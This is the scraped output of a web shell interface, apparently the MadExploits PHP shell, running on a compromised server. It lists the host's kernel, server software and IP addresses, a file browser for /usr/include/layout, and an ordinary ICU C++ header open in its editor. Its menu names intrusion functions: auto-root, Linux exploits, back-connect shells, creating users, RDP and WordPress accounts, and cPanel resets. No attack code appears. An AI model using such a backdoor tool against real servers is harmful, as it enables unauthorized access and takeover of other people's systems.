Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
layout /
[ HOME SHELL ]
Name
Size
Permission
Action
LEFontInstance.h
17.95
KB
-rw-r--r--
LEGlyphFilter.h
883
B
-rw-r--r--
LEGlyphStorage.h
16.66
KB
-rw-r--r--
LEInsertionList.h
4.53
KB
-rw-r--r--
LELanguages.h
2.5
KB
-rw-r--r--
LEScripts.h
4.9
KB
-rw-r--r--
LESwaps.h
2.63
KB
-rw-r--r--
LETableReference.h
13.14
KB
-rw-r--r--
LETypes.h
22.35
KB
-rw-r--r--
LayoutEngine.h
19.76
KB
-rw-r--r--
ParagraphLayout.h
22.6
KB
-rw-r--r--
RunArrays.h
20.17
KB
-rw-r--r--
loengine.h
6.33
KB
-rw-r--r--
playout.h
12.7
KB
-rw-r--r--
plruns.h
11.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LESwaps.h
/* * * (C) Copyright IBM Corp. 1998-2011 - All Rights Reserved * */ #ifndef __LESWAPS_H #define __LESWAPS_H #include "LETypes.h" /** * \file * \brief C++ API: Endian independent access to data for LayoutEngine */ U_NAMESPACE_BEGIN /** * A convenience macro which invokes the swapWord member function * from a concise call. * * @stable ICU 2.8 */ #define SWAPW(value) LESwaps::swapWord((le_uint16)(value)) /** * A convenience macro which invokes the swapLong member function * from a concise call. * * @stable ICU 2.8 */ #define SWAPL(value) LESwaps::swapLong((le_uint32)(value)) /** * This class is used to access data which stored in big endian order * regardless of the conventions of the platform. * * All methods are static and inline in an attempt to induce the compiler * to do most of the calculations at compile time. * * @stable ICU 2.8 */ class U_LAYOUT_API LESwaps /* not : public UObject because all methods are static */ { public: /** * Reads a big-endian 16-bit word and returns a native-endian value. * No-op on a big-endian platform, byte-swaps on a little-endian platform. * * @param value - the word to be byte swapped * * @return the byte swapped word * * @stable ICU 2.8 */ static le_uint16 swapWord(le_uint16 value) { #if (defined(U_IS_BIG_ENDIAN) && U_IS_BIG_ENDIAN) || \ (defined(BYTE_ORDER) && defined(BIG_ENDIAN) && (BYTE_ORDER == BIG_ENDIAN)) || \ defined(__BIG_ENDIAN__) // Fastpath when we know that the platform is big-endian. return value; #else // Reads a big-endian value on any platform. const le_uint8 *p = reinterpret_cast<const le_uint8 *>(&value); return (le_uint16)((p[0] << 8) | p[1]); #endif }; /** * Reads a big-endian 32-bit word and returns a native-endian value. * No-op on a big-endian platform, byte-swaps on a little-endian platform. * * @param value - the long to be byte swapped * * @return the byte swapped long * * @stable ICU 2.8 */ static le_uint32 swapLong(le_uint32 value) { #if (defined(U_IS_BIG_ENDIAN) && U_IS_BIG_ENDIAN) || \ (defined(BYTE_ORDER) && defined(BIG_ENDIAN) && (BYTE_ORDER == BIG_ENDIAN)) || \ defined(__BIG_ENDIAN__) // Fastpath when we know that the platform is big-endian. return value; #else // Reads a big-endian value on any platform. const le_uint8 *p = reinterpret_cast<const le_uint8 *>(&value); return (le_uint32)((p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]); #endif }; private: LESwaps() {} // private - forbid instantiation }; U_NAMESPACE_END #endif
Close